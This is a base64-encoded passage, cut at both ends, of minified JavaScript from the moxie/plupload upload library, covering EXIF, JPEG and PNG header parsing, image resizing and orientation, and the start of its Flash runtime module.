GVSZWYiLDQ6IkdQU0xvbmdpdHVkZSJ9LHRodW1iOns1MTM6IkpQRUdJbnRlcmNoYW5nZUZvcm1hdCIsNTE0OiJKUEVHSW50ZXJjaGFuZ2VGb3JtYXRMZW5ndGgifX0sZj17Q29sb3JTcGFjZTp7MToic1JHQiIsMDoiVW5jYWxpYnJhdGVkIn0sTWV0ZXJpbmdNb2RlOnswOiJVbmtub3duIiwxOiJBdmVyYWdlIiwyOiJDZW50ZXJXZWlnaHRlZEF2ZXJhZ2UiLDM6IlNwb3QiLDQ6Ik11bHRpU3BvdCIsNToiUGF0dGVybiIsNjoiUGFydGlhbCIsMjU1OiJPdGhlciJ9LExpZ2h0U291cmNlOnsxOiJEYXlsaWdodCIsMjoiRmxpb3Jlc2NlbnQiLDM6IlR1bmdzdGVuIiw0OiJGbGFzaCIsOToiRmluZSB3ZWF0aGVyIiwxMDoiQ2xvdWR5IHdlYXRoZXIiLDExOiJTaGFkZSIsMTI6IkRheWxpZ2h0IGZsdW9yZXNjZW50IChEIDU3MDAgLSA3MTAwSykiLDEzOiJEYXkgd2hpdGUgZmx1b3Jlc2NlbnQgKE4gNDYwMCAtNTQwMEspIiwxNDoiQ29vbCB3aGl0ZSBmbHVvcmVzY2VudCAoVyAzOTAwIC0gNDUwMEspIiwxNToiV2hpdGUgZmx1b3Jlc2NlbnQgKFdXIDMyMDAgLSAzNzAwSykiLDE3OiJTdGFuZGFyZCBsaWdodCBBIiwxODoiU3RhbmRhcmQgbGlnaHQgQiIsMTk6IlN0YW5kYXJkIGxpZ2h0IEMiLDIwOiJENTUiLDIxOiJENjUiLDIyOiJENzUiLDIzOiJENTAiLDI0OiJJU08gc3R1ZGlvIHR1bmdzdGVuIiwyNTU6Ik90aGVyIn0sRmxhc2g6ezA6IkZsYXNoIGRpZCBub3QgZmlyZSIsMToiRmxhc2ggZmlyZWQiLDU6IlN0cm9iZSByZXR1cm4gbGlnaHQgbm90IGRldGVjdGVkIiw3OiJTdHJvYmUgcmV0dXJuIGxpZ2h0IGRldGVjdGVkIiw5OiJGbGFzaCBmaXJlZCwgY29tcHVsc29yeSBmbGFzaCBtb2RlIiwxMzoiRmxhc2ggZmlyZWQsIGNvbXB1bHNvcnkgZmxhc2ggbW9kZSwgcmV0dXJuIGxpZ2h0IG5vdCBkZXRlY3RlZCIsMTU6IkZsYXNoIGZpcmVkLCBjb21wdWxzb3J5IGZsYXNoIG1vZGUsIHJldHVybiBsaWdodCBkZXRlY3RlZCIsMTY6IkZsYXNoIGRpZCBub3QgZmlyZSwgY29tcHVsc29yeSBmbGFzaCBtb2RlIiwyNDoiRmxhc2ggZGlkIG5vdCBmaXJlLCBhdXRvIG1vZGUiLDI1OiJGbGFzaCBmaXJlZCwgYXV0byBtb2RlIiwyOToiRmxhc2ggZmlyZWQsIGF1dG8gbW9kZSwgcmV0dXJuIGxpZ2h0IG5vdCBkZXRlY3RlZCIsMzE6IkZsYXNoIGZpcmVkLCBhdXRvIG1vZGUsIHJldHVybiBsaWdodCBkZXRlY3RlZCIsMzI6Ik5vIGZsYXNoIGZ1bmN0aW9uIiw2NToiRmxhc2ggZmlyZWQsIHJlZC1leWUgcmVkdWN0aW9uIG1vZGUiLDY5OiJGbGFzaCBmaXJlZCwgcmVkLWV5ZSByZWR1Y3Rpb24gbW9kZSwgcmV0dXJuIGxpZ2h0IG5vdCBkZXRlY3RlZCIsNzE6IkZsYXNoIGZpcmVkLCByZWQtZXllIHJlZHVjdGlvbiBtb2RlLCByZXR1cm4gbGlnaHQgZGV0ZWN0ZWQiLDczOiJGbGFzaCBmaXJlZCwgY29tcHVsc29yeSBmbGFzaCBtb2RlLCByZWQtZXllIHJlZHVjdGlvbiBtb2RlIiw3NzoiRmxhc2ggZmlyZWQsIGNvbXB1bHNvcnkgZmxhc2ggbW9kZSwgcmVkLWV5ZSByZWR1Y3Rpb24gbW9kZSwgcmV0dXJuIGxpZ2h0IG5vdCBkZXRlY3RlZCIsNzk6IkZsYXNoIGZpcmVkLCBjb21wdWxzb3J5IGZsYXNoIG1vZGUsIHJlZC1leWUgcmVkdWN0aW9uIG1vZGUsIHJldHVybiBsaWdodCBkZXRlY3RlZCIsODk6IkZsYXNoIGZpcmVkLCBhdXRvIG1vZGUsIHJlZC1leWUgcmVkdWN0aW9uIG1vZGUiLDkzOiJGbGFzaCBmaXJlZCwgYXV0byBtb2RlLCByZXR1cm4gbGlnaHQgbm90IGRldGVjdGVkLCByZWQtZXllIHJlZHVjdGlvbiBtb2RlIiw5NToiRmxhc2ggZmlyZWQsIGF1dG8gbW9kZSwgcmV0dXJuIGxpZ2h0IGRldGVjdGVkLCByZWQtZXllIHJlZHVjdGlvbiBtb2RlIn0sRXhwb3N1cmVNb2RlOnswOiJBdXRvIGV4cG9zdXJlIiwxOiJNYW51YWwgZXhwb3N1cmUiLDI6IkF1dG8gYnJhY2tldCJ9LFdoaXRlQmFsYW5jZTp7MDoiQXV0byB3aGl0ZSBiYWxhbmNlIiwxOiJNYW51YWwgd2hpdGUgYmFsYW5jZSJ9LFNjZW5lQ2FwdHVyZVR5cGU6ezA6IlN0YW5kYXJkIiwxOiJMYW5kc2NhcGUiLDI6IlBvcnRyYWl0IiwzOiJOaWdodCBzY2VuZSJ9LENvbnRyYXN0OnswOiJOb3JtYWwiLDE6IlNvZnQiLDI6IkhhcmQifSxTYXR1cmF0aW9uOnswOiJOb3JtYWwiLDE6IkxvdyBzYXR1cmF0aW9uIiwyOiJIaWdoIHNhdHVyYXRpb24ifSxTaGFycG5lc3M6ezA6Ik5vcm1hbCIsMToiU29mdCIsMjoiSGFyZCJ9LEdQU0xhdGl0dWRlUmVmOntOOiJOb3J0aCBsYXRpdHVkZSIsUzoiU291dGggbGF0aXR1ZGUifSxHUFNMb25naXR1ZGVSZWY6e0U6IkVhc3QgbG9uZ2l0dWRlIixXOiJXZXN0IGxvbmdpdHVkZSJ9fSxpPShnPXt0aWZmSGVhZGVyOjEwfSkudGlmZkhlYWRlcix0PXtjbGVhcjp0aGlzLmNsZWFyfSx4LmV4dGVuZCh0aGlzLHtyZWFkOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiBhLnByb3RvdHlwZS5yZWFkLmFwcGx5KHRoaXMsYXJndW1lbnRzKX1jYXRjaChlKXt0aHJvdyBuZXcgdi5JbWFnZUVycm9yKHYuSW1hZ2VFcnJvci5JTlZBTElEX01FVEFfRVJSKX19LHdyaXRlOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiBhLnByb3RvdHlwZS53cml0ZS5hcHBseSh0aGlzLGFyZ3VtZW50cyl9Y2F0Y2goZSl7dGhyb3cgbmV3IHYuSW1hZ2VFcnJvcih2LkltYWdlRXJyb3IuSU5WQUxJRF9NRVRBX0VSUil9fSxVTkRFRklORUQ6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5CWVRFLmFwcGx5KHRoaXMsYXJndW1lbnRzKX0sUkFUSU9OQUw6ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMuTE9ORyhlKS90aGlzLkxPTkcoZSs0KX0sU1JBVElPTkFMOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLlNMT05HKGUpL3RoaXMuU0xPTkcoZSs0KX0sQVNDSUk6ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMuQ0hBUihlKX0sVElGRjpmdW5jdGlvbigpe3JldHVybiByfHxudWxsfSxFWElGOmZ1bmN0aW9uKCl7dmFyIGU9bnVsbDtpZihnLmV4aWZJRkQpe3RyeXtlPW4uY2FsbCh0aGlzLGcuZXhpZklGRCxsLmV4aWYpfWNhdGNoKGUpe3JldHVybiBudWxsfWlmKGUuRXhpZlZlcnNpb24mJiJhcnJheSI9PT14LnR5cGVPZihlLkV4aWZWZXJzaW9uKSl7Zm9yKHZhciB0PTAsaT0iIjt0PGUuRXhpZlZlcnNpb24ubGVuZ3RoO3QrKylpKz1TdHJpbmcuZnJvbUNoYXJDb2RlKGUuRXhpZlZlcnNpb25bdF0pO2UuRXhpZlZlcnNpb249aX19cmV0dXJuIGV9LEdQUzpmdW5jdGlvbigpe3ZhciBlPW51bGw7aWYoZy5ncHNJRkQpe3RyeXtlPW4uY2FsbCh0aGlzLGcuZ3BzSUZELGwuZ3BzKX1jYXRjaChlKXtyZXR1cm4gbnVsbH1lLkdQU1ZlcnNpb25JRCYmImFycmF5Ij09PXgudHlwZU9mKGUuR1BTVmVyc2lvbklEKSYmKGUuR1BTVmVyc2lvbklEPWUuR1BTVmVyc2lvbklELmpvaW4oIi4iKSl9cmV0dXJuIGV9LHRodW1iOmZ1bmN0aW9uKCl7aWYoZy5JRkQxKXRyeXt2YXIgZT1uLmNhbGwodGhpcyxnLklGRDEsbC50aHVtYik7aWYoIkpQRUdJbnRlcmNoYW5nZUZvcm1hdCJpbiBlKXJldHVybiB0aGlzLlNFR01FTlQoZy50aWZmSGVhZGVyK2UuSlBFR0ludGVyY2hhbmdlRm9ybWF0LGUuSlBFR0ludGVyY2hhbmdlRm9ybWF0TGVuZ3RoKX1jYXRjaChlKXt9cmV0dXJuIG51bGx9LHNldEV4aWY6ZnVuY3Rpb24oZSx0KXtyZXR1cm4oIlBpeGVsWERpbWVuc2lvbiI9PT1lfHwiUGl4ZWxZRGltZW5zaW9uIj09PWUpJiZmdW5jdGlvbihlLHQsaSl7dmFyIG4scixvLHM9MDtpZigic3RyaW5nIj09dHlwZW9mIHQpe3ZhciBhPWxbZS50b0xvd2VyQ2FzZSgpXTtmb3IodmFyIHUgaW4gYSlpZihhW3VdPT09dCl7dD11O2JyZWFrfX1uPWdbZS50b0xvd2VyQ2FzZSgpKyJJRkQiXSxyPXRoaXMuU0hPUlQobik7Zm9yKHZhciBjPTA7YzxyO2MrKylpZihvPW4rMTIqYysyLHRoaXMuU0hPUlQobyk9PXQpe3M9bys4O2JyZWFrfWlmKCFzKXJldHVybiExO3RyeXt0aGlzLndyaXRlKHMsaSw0KX1jYXRjaChlKXtyZXR1cm4hMX1yZXR1cm4hMH0uY2FsbCh0aGlzLCJleGlmIixlLHQpfSxjbGVhcjpmdW5jdGlvbigpe3QuY2xlYXIoKSxlPWw9Zj1yPWc9dD1udWxsfX0pLDY1NTA1IT09dGhpcy5TSE9SVCgwKXx8IkVYSUZcMCIhPT10aGlzLlNUUklORyg0LDUpLnRvVXBwZXJDYXNlKCkpdGhyb3cgbmV3IHYuSW1hZ2VFcnJvcih2LkltYWdlRXJyb3IuSU5WQUxJRF9NRVRBX0VSUik7aWYodGhpcy5saXR0bGVFbmRpYW49MTg3NjE9PXRoaXMuU0hPUlQoaSksNDIhPT10aGlzLlNIT1JUKGkrPTIpKXRocm93IG5ldyB2LkltYWdlRXJyb3Iodi5JbWFnZUVycm9yLklOVkFMSURfTUVUQV9FUlIpO2cuSUZEMD1nLnRpZmZIZWFkZXIrdGhpcy5MT05HKGkrPTIpLCJFeGlmSUZEUG9pbnRlciJpbihyPW4uY2FsbCh0aGlzLGcuSUZEMCxsLnRpZmYpKSYmKGcuZXhpZklGRD1nLnRpZmZIZWFkZXIrci5FeGlmSUZEUG9pbnRlcixkZWxldGUgci5FeGlmSUZEUG9pbnRlciksIkdQU0luZm9JRkRQb2ludGVyImluIHImJihnLmdwc0lGRD1nLnRpZmZIZWFkZXIrci5HUFNJbmZvSUZEUG9pbnRlcixkZWxldGUgci5HUFNJbmZvSUZEUG9pbnRlcikseC5pc0VtcHR5T2JqKHIpJiYocj1udWxsKTt2YXIgbz10aGlzLkxPTkcoZy5JRkQwKzEyKnRoaXMuU0hPUlQoZy5JRkQwKSsyKTtvJiYoZy5JRkQxPWcudGlmZkhlYWRlcitvKX1yZXR1cm4gYS5wcm90b3R5cGU9cy5wcm90b3R5cGUsYX0pLGUoIm1veGllL3J1bnRpbWUvaHRtbDUvaW1hZ2UvSlBFRyIsWyJtb3hpZS9jb3JlL3V0aWxzL0Jhc2ljIiwibW94aWUvY29yZS9FeGNlcHRpb25zIiwibW94aWUvcnVudGltZS9odG1sNS9pbWFnZS9KUEVHSGVhZGVycyIsIm1veGllL3J1bnRpbWUvaHRtbDUvdXRpbHMvQmluYXJ5UmVhZGVyIiwibW94aWUvcnVudGltZS9odG1sNS9pbWFnZS9FeGlmUGFyc2VyIl0sZnVuY3Rpb24oYyxsLGQsaCxwKXtyZXR1cm4gZnVuY3Rpb24oZSl7ZnVuY3Rpb24gdChlKXt2YXIgdCxpLG49MDtmb3IoZXx8KGU9cik7bjw9ZS5sZW5ndGgoKTspe2lmKDY1NDcyPD0odD1lLlNIT1JUKG4rPTIpKSYmdDw9NjU0NzUpcmV0dXJuIG4rPTUse2hlaWdodDplLlNIT1JUKG4pLHdpZHRoOmUuU0hPUlQobis9Mil9O2k9ZS5TSE9SVChuKz0yKSxuKz1pLTJ9cmV0dXJuIG51bGx9dmFyIHIsaSxuLG8scyxhLHU7aWYoNjU0OTYhPT0ocj1uZXcgaChlKSkuU0hPUlQoMCkpdGhyb3cgbmV3IGwuSW1hZ2VFcnJvcihsLkltYWdlRXJyb3IuV1JPTkdfRk9STUFUKTtpPW5ldyBkKGUpO3RyeXtuPW5ldyBwKGkuZ2V0KCJhcHAxIilbMF0pfWNhdGNoKGUpe31vPXQuY2FsbCh0aGlzKSxjLmV4dGVuZCh0aGlzLHt0eXBlOiJpbWFnZS9qcGVnIixzaXplOnIubGVuZ3RoKCksd2lkdGg6byYmby53aWR0aHx8MCxoZWlnaHQ6byYmby5oZWlnaHR8fDAsc2V0RXhpZjpmdW5jdGlvbihlLHQpe3JldHVybiEhbiYmKCJvYmplY3QiPT09Yy50eXBlT2YoZSk/Yy5lYWNoKGUsZnVuY3Rpb24oZSx0KXtuLnNldEV4aWYodCxlKX0pOm4uc2V0RXhpZihlLHQpLHZvaWQgaS5zZXQoImFwcDEiLG4uU0VHTUVOVCgpKSl9LHdyaXRlSGVhZGVyczpmdW5jdGlvbigpe3JldHVybiBhcmd1bWVudHMubGVuZ3RoP2kucmVzdG9yZShhcmd1bWVudHNbMF0pOmkucmVzdG9yZShlKX0sc3RyaXBIZWFkZXJzOmZ1bmN0aW9uKGUpe3JldHVybiBpLnN0cmlwKGUpfSxwdXJnZTpmdW5jdGlvbigpeyhmdW5jdGlvbigpe24mJmkmJnImJihuLmNsZWFyKCksaS5wdXJnZSgpLHIuY2xlYXIoKSxvPWk9bj1yPW51bGwpfSkuY2FsbCh0aGlzKX19KSxuJiYodGhpcy5tZXRhPXt0aWZmOm4uVElGRigpLGV4aWY6bi5FWElGKCksZ3BzOm4uR1BTKCksdGh1bWI6KHU9bi50aHVtYigpLHUmJihzPW5ldyBoKHUpLGE9dChzKSxzLmNsZWFyKCksYSk/KGEuZGF0YT11LGEpOm51bGwpfSl9fSksZSgibW94aWUvcnVudGltZS9odG1sNS9pbWFnZS9QTkciLFsibW94aWUvY29yZS9FeGNlcHRpb25zIiwibW94aWUvY29yZS91dGlscy9CYXNpYyIsIm1veGllL3J1bnRpbWUvaHRtbDUvdXRpbHMvQmluYXJ5UmVhZGVyIl0sZnVuY3Rpb24ocixvLHMpe3JldHVybiBmdW5jdGlvbihlKXtmdW5jdGlvbiB0KCl7biYmKG4uY2xlYXIoKSxlPWk9bj1udWxsKX12YXIgbixpO249bmV3IHMoZSksZnVuY3Rpb24oKXt2YXIgZT0wLHQ9MCxpPVszNTE1MiwyMDAzOSwzMzM4LDY2NjZdO2Zvcih0PTA7dDxpLmxlbmd0aDt0KyssZSs9MilpZihpW3RdIT1uLlNIT1JUKGUpKXRocm93IG5ldyByLkltYWdlRXJyb3Ioci5JbWFnZUVycm9yLldST05HX0ZPUk1BVCl9KCksaT1mdW5jdGlvbigpe3ZhciBlLHQ7cmV0dXJuIklIRFIiPT0oZT1mdW5jdGlvbihlKXt2YXIgdDtyZXR1cm57bGVuZ3RoOnQ9bi5MT05HKGUpLHR5cGU6bi5TVFJJTkcoZSs9NCw0KSxzdGFydDplKz00LENSQzpuLkxPTkcoZSt0KX19LmNhbGwodGhpcyw4KSkudHlwZT8odD1lLnN0YXJ0LHt3aWR0aDpuLkxPTkcodCksaGVpZ2h0Om4uTE9ORyh0Kz00KX0pOm51bGx9LmNhbGwodGhpcyksby5leHRlbmQodGhpcyx7dHlwZToiaW1hZ2UvcG5nIixzaXplOm4ubGVuZ3RoKCksd2lkdGg6aS53aWR0aCxoZWlnaHQ6aS5oZWlnaHQscHVyZ2U6ZnVuY3Rpb24oKXt0LmNhbGwodGhpcyl9fSksdC5jYWxsKHRoaXMpfX0pLGUoIm1veGllL3J1bnRpbWUvaHRtbDUvaW1hZ2UvSW1hZ2VJbmZvIixbIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9jb3JlL0V4Y2VwdGlvbnMiLCJtb3hpZS9ydW50aW1lL2h0bWw1L2ltYWdlL0pQRUciLCJtb3hpZS9ydW50aW1lL2h0bWw1L2ltYWdlL1BORyJdLGZ1bmN0aW9uKG4scixvLHMpe3JldHVybiBmdW5jdGlvbih0KXt2YXIgZSxpPVtvLHNdO2U9ZnVuY3Rpb24oKXtmb3IodmFyIGU9MDtlPGkubGVuZ3RoO2UrKyl0cnl7cmV0dXJuIG5ldyBpW2VdKHQpfWNhdGNoKGUpe310aHJvdyBuZXcgci5JbWFnZUVycm9yKHIuSW1hZ2VFcnJvci5XUk9OR19GT1JNQVQpfSgpLG4uZXh0ZW5kKHRoaXMse3R5cGU6IiIsc2l6ZTowLHdpZHRoOjAsaGVpZ2h0OjAsc2V0RXhpZjpmdW5jdGlvbigpe30sd3JpdGVIZWFkZXJzOmZ1bmN0aW9uKGUpe3JldHVybiBlfSxzdHJpcEhlYWRlcnM6ZnVuY3Rpb24oZSl7cmV0dXJuIGV9LHB1cmdlOmZ1bmN0aW9uKCl7dD1udWxsfX0pLG4uZXh0ZW5kKHRoaXMsZSksdGhpcy5wdXJnZT1mdW5jdGlvbigpe2UucHVyZ2UoKSxlPW51bGx9fX0pLGUoIm1veGllL3J1bnRpbWUvaHRtbDUvaW1hZ2UvUmVzaXplckNhbnZhcyIsW10sZnVuY3Rpb24oKXtyZXR1cm57c2NhbGU6ZnVuY3Rpb24gZSh0LGksbil7dmFyIHI9dC53aWR0aD50LmhlaWdodD8id2lkdGgiOiJoZWlnaHQiLG89TWF0aC5yb3VuZCh0W3JdKmkpLHM9ITE7Im5lYXJlc3QiIT09biYmKGk8LjV8fDI8aSkmJihpPWk8LjU/LjU6MixzPSEwKTt2YXIgYSx1LGMsbCxkLGgscCxtPSh1PWksYz0oYT10KS53aWR0aCxsPWEuaGVpZ2h0LGQ9TWF0aC5yb3VuZChjKnUpLGg9TWF0aC5yb3VuZChsKnUpLChwPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpKS53aWR0aD1kLHAuaGVpZ2h0PWgscC5nZXRDb250ZXh0KCIyZCIpLmRyYXdJbWFnZShhLDAsMCxjLGwsMCwwLGQsaCksYT1udWxsLHApO3JldHVybiBzP2UobSxvL21bcl0sbik6bX19fSksZSgibW94aWUvcnVudGltZS9odG1sNS9pbWFnZS9JbWFnZSIsWyJtb3hpZS9ydW50aW1lL2h0bWw1L1J1bnRpbWUiLCJtb3hpZS9jb3JlL3V0aWxzL0Jhc2ljIiwibW94aWUvY29yZS9FeGNlcHRpb25zIiwibW94aWUvY29yZS91dGlscy9FbmNvZGUiLCJtb3hpZS9maWxlL0Jsb2IiLCJtb3hpZS9maWxlL0ZpbGUiLCJtb3hpZS9ydW50aW1lL2h0bWw1L2ltYWdlL0ltYWdlSW5mbyIsIm1veGllL3J1bnRpbWUvaHRtbDUvaW1hZ2UvUmVzaXplckNhbnZhcyIsIm1veGllL2NvcmUvdXRpbHMvTWltZSIsIm1veGllL2NvcmUvdXRpbHMvRW52Il0sZnVuY3Rpb24oZSxnLHgsdixpLHksXyxFLHcpe3JldHVybiBlLkltYWdlPWZ1bmN0aW9uKCl7ZnVuY3Rpb24gbygpe2lmKCFsJiYhdSl0aHJvdyBuZXcgeC5JbWFnZUVycm9yKHguRE9NRXhjZXB0aW9uLklOVkFMSURfU1RBVEVfRVJSKTtyZXR1cm4gbHx8dX1mdW5jdGlvbiBuKCl7dmFyIGU9bygpO3JldHVybiJjYW52YXMiPT1lLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk/ZTooKGw9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiY2FudmFzIikpLndpZHRoPWUud2lkdGgsbC5oZWlnaHQ9ZS5oZWlnaHQsbC5nZXRDb250ZXh0KCIyZCIpLmRyYXdJbWFnZShlLDAsMCksbCl9ZnVuY3Rpb24gcihlKXtyZXR1cm4gdi5hdG9iKGUuc3Vic3RyaW5nKGUuaW5kZXhPZigiYmFzZTY0LCIpKzcpKX1mdW5jdGlvbiBzKGUpe3ZhciB0LGk9dGhpczsodT1uZXcgSW1hZ2UpLm9uZXJyb3I9ZnVuY3Rpb24oKXthLmNhbGwodGhpcyksaS50cmlnZ2VyKCJlcnJvciIseC5JbWFnZUVycm9yLldST05HX0ZPUk1BVCl9LHUub25sb2FkPWZ1bmN0aW9uKCl7aS50cmlnZ2VyKCJsb2FkIil9LHUuc3JjPSJkYXRhOiI9PWUuc3Vic3RyKDAsNSk/ZToodD1lLCJkYXRhOiIrKGgudHlwZXx8IiIpKyI7YmFzZTY0LCIrdi5idG9hKHQpKX1mdW5jdGlvbiBhKCl7YyYmKGMucHVyZ2UoKSxjPW51bGwpLGQ9dT1sPWg9bnVsbCxtPSExfXZhciB1LGMsbCxkLGgscD10aGlzLG09ITEsZj0hMDtnLmV4dGVuZCh0aGlzLHtsb2FkRnJvbUJsb2I6ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5nZXRSdW50aW1lKCksaT0hKDE8YXJndW1lbnRzLmxlbmd0aCl8fGFyZ3VtZW50c1sxXTtpZighdC5jYW4oImFjY2Vzc19iaW5hcnkiKSl0aHJvdyBuZXcgeC5SdW50aW1lRXJyb3IoeC5SdW50aW1lRXJyb3IuTk9UX1NVUFBPUlRFRF9FUlIpO3JldHVybihoPWUpLmlzRGV0YWNoZWQoKT8oZD1lLmdldFNvdXJjZSgpLHZvaWQgcy5jYWxsKHRoaXMsZCkpOnZvaWQgZnVuY3Rpb24oZSx0KXt2YXIgaSxuPXRoaXM7cmV0dXJuIHdpbmRvdy5GaWxlUmVhZGVyPygoaT1uZXcgRmlsZVJlYWRlcikub25sb2FkPWZ1bmN0aW9uKCl7dC5jYWxsKG4sdGhpcy5yZXN1bHQpfSxpLm9uZXJyb3I9ZnVuY3Rpb24oKXtuLnRyaWdnZXIoImVycm9yIix4LkltYWdlRXJyb3IuV1JPTkdfRk9STUFUKX0sdm9pZCBpLnJlYWRBc0RhdGFVUkwoZSkpOnQuY2FsbCh0aGlzLGUuZ2V0QXNEYXRhVVJMKCkpfS5jYWxsKHRoaXMsZS5nZXRTb3VyY2UoKSxmdW5jdGlvbihlKXtpJiYoZD1yKGUpKSxzLmNhbGwodGhpcyxlKX0pfSxsb2FkRnJvbUltYWdlOmZ1bmN0aW9uKGUsdCl7dGhpcy5tZXRhPWUubWV0YSxoPW5ldyB5KG51bGwse25hbWU6ZS5uYW1lLHNpemU6ZS5zaXplLHR5cGU6ZS50eXBlfSkscy5jYWxsKHRoaXMsdD9kPWUuZ2V0QXNCaW5hcnlTdHJpbmcoKTplLmdldEFzRGF0YVVSTCgpKX0sZ2V0SW5mbzpmdW5jdGlvbigpe3ZhciBlLHQ9dGhpcy5nZXRSdW50aW1lKCk7cmV0dXJuIWMmJmQmJnQuY2FuKCJhY2Nlc3NfaW1hZ2VfYmluYXJ5IikmJihjPW5ldyBfKGQpKSxlPXt3aWR0aDpvKCkud2lkdGh8fDAsaGVpZ2h0Om8oKS5oZWlnaHR8fDAsdHlwZTpoLnR5cGV8fHcuZ2V0RmlsZU1pbWUoaC5uYW1lKSxzaXplOmQmJmQubGVuZ3RofHxoLnNpemV8fDAsbmFtZTpoLm5hbWV8fCIiLG1ldGE6bnVsbH0sZiYmKGUubWV0YT1jJiZjLm1ldGF8fHRoaXMubWV0YXx8e30sIWUubWV0YXx8IWUubWV0YS50aHVtYnx8ZS5tZXRhLnRodW1iLmRhdGEgaW5zdGFuY2VvZiBpfHwoZS5tZXRhLnRodW1iLmRhdGE9bmV3IGkobnVsbCx7dHlwZToiaW1hZ2UvanBlZyIsZGF0YTplLm1ldGEudGh1bWIuZGF0YX0pKSksZX0scmVzaXplOmZ1bmN0aW9uKGUsdCxpKXt2YXIgbj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTtpZihuLndpZHRoPWUud2lkdGgsbi5oZWlnaHQ9ZS5oZWlnaHQsbi5nZXRDb250ZXh0KCIyZCIpLmRyYXdJbWFnZShvKCksZS54LGUueSxlLndpZHRoLGUuaGVpZ2h0LDAsMCxuLndpZHRoLG4uaGVpZ2h0KSxsPUUuc2NhbGUobix0KSwhKGY9aS5wcmVzZXJ2ZUhlYWRlcnMpKXt2YXIgcj10aGlzLm1ldGEmJnRoaXMubWV0YS50aWZmJiZ0aGlzLm1ldGEudGlmZi5PcmllbnRhdGlvbnx8MTtsPWZ1bmN0aW9uKGUsdCl7dmFyIGk9TWF0aC5QSS8xODAsbj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKSxyPW4uZ2V0Q29udGV4dCgiMmQiKSxvPWUud2lkdGgscz1lLmhlaWdodDtzd2l0Y2goLTE8Zy5pbkFycmF5KHQsWzUsNiw3LDhdKT8obi53aWR0aD1zLG4uaGVpZ2h0PW8pOihuLndpZHRoPW8sbi5oZWlnaHQ9cyksdCl7Y2FzZSAyOnIudHJhbnNsYXRlKG8sMCksci5zY2FsZSgtMSwxKTticmVhaztjYXNlIDM6ci50cmFuc2xhdGUobyxzKSxyLnJvdGF0ZSgxODAqaSk7YnJlYWs7Y2FzZSA0OnIudHJhbnNsYXRlKDAscyksci5zY2FsZSgxLC0xKTticmVhaztjYXNlIDU6ci5yb3RhdGUoOTAqaSksci5zY2FsZSgxLC0xKTticmVhaztjYXNlIDY6ci5yb3RhdGUoOTAqaSksci50cmFuc2xhdGUoMCwtcyk7YnJlYWs7Y2FzZSA3OnIucm90YXRlKDkwKmkpLHIudHJhbnNsYXRlKG8sLXMpLHIuc2NhbGUoLTEsMSk7YnJlYWs7Y2FzZSA4OnIucm90YXRlKC05MCppKSxyLnRyYW5zbGF0ZSgtbywwKX1yZXR1cm4gci5kcmF3SW1hZ2UoZSwwLDAsbyxzKSxufShsLHIpfXRoaXMud2lkdGg9bC53aWR0aCx0aGlzLmhlaWdodD1sLmhlaWdodCxtPSEwLHRoaXMudHJpZ2dlcigiUmVzaXplIil9LGdldEFzQ2FudmFzOmZ1bmN0aW9uKCl7cmV0dXJuIGx8fChsPW4oKSksbC5pZD10aGlzLnVpZCsiX2NhbnZhcyIsbH0sZ2V0QXNCbG9iOmZ1bmN0aW9uKGUsdCl7cmV0dXJuIGUhPT10aGlzLnR5cGU/KG09ITAsbmV3IHkobnVsbCx7bmFtZTpoLm5hbWV8fCIiLHR5cGU6ZSxkYXRhOnAuZ2V0QXNEYXRhVVJMKGUsdCl9KSk6bmV3IHkobnVsbCx7bmFtZTpoLm5hbWV8fCIiLHR5cGU6ZSxkYXRhOnAuZ2V0QXNCaW5hcnlTdHJpbmcoZSx0KX0pfSxnZXRBc0RhdGFVUkw6ZnVuY3Rpb24oZSl7dmFyIHQ9YXJndW1lbnRzWzFdfHw5MDtpZighbSlyZXR1cm4gdS5zcmM7aWYobigpLCJpbWFnZS9qcGVnIiE9PWUpcmV0dXJuIGwudG9EYXRhVVJMKCJpbWFnZS9wbmciKTt0cnl7cmV0dXJuIGwudG9EYXRhVVJMKCJpbWFnZS9qcGVnIix0LzEwMCl9Y2F0Y2goZSl7cmV0dXJuIGwudG9EYXRhVVJMKCJpbWFnZS9qcGVnIil9fSxnZXRBc0JpbmFyeVN0cmluZzpmdW5jdGlvbihlLHQpe2lmKCFtKXJldHVybiBkfHwoZD1yKHAuZ2V0QXNEYXRhVVJMKGUsdCkpKSxkO2lmKCJpbWFnZS9qcGVnIiE9PWUpZD1yKHAuZ2V0QXNEYXRhVVJMKGUsdCkpO2Vsc2V7dmFyIGk7dHx8KHQ9OTApLG4oKTt0cnl7aT1sLnRvRGF0YVVSTCgiaW1hZ2UvanBlZyIsdC8xMDApfWNhdGNoKGUpe2k9bC50b0RhdGFVUkwoImltYWdlL2pwZWciKX1kPXIoaSksYyYmKGQ9Yy5zdHJpcEhlYWRlcnMoZCksZiYmKGMubWV0YSYmYy5tZXRhLmV4aWYmJmMuc2V0RXhpZih7UGl4ZWxYRGltZW5zaW9uOnRoaXMud2lkdGgsUGl4ZWxZRGltZW5zaW9uOnRoaXMuaGVpZ2h0fSksZD1jLndyaXRlSGVhZGVycyhkKSksYy5wdXJnZSgpLGM9bnVsbCl9cmV0dXJuIG09ITEsZH0sZGVzdHJveTpmdW5jdGlvbigpe3A9bnVsbCxhLmNhbGwodGhpcyksdGhpcy5nZXRSdW50aW1lKCkuZ2V0U2hpbSgpLnJlbW92ZUluc3RhbmNlKHRoaXMudWlkKX19KX19KSxlKCJtb3hpZS9ydW50aW1lL2ZsYXNoL1J1bnRpbWUiLFsibW94aWUvY29yZS91dGlscy9CYXNpYyIsIm1veGllL2NvcmUvdXRpbHMvRW52IiwibW94aWUvY29yZS91dGlscy9Eb20iLCJtb3hpZS9jb3JlL0V4Y2VwdGlvbnMiLCJtb3hpZS9ydW50aW1lL1J1bnRpbWUiXSxmdW5jdGlvbihzLGEsdSxjLGwpe3ZhciB0PXt9O3JldHVybiBsLmFkZENvbnN0c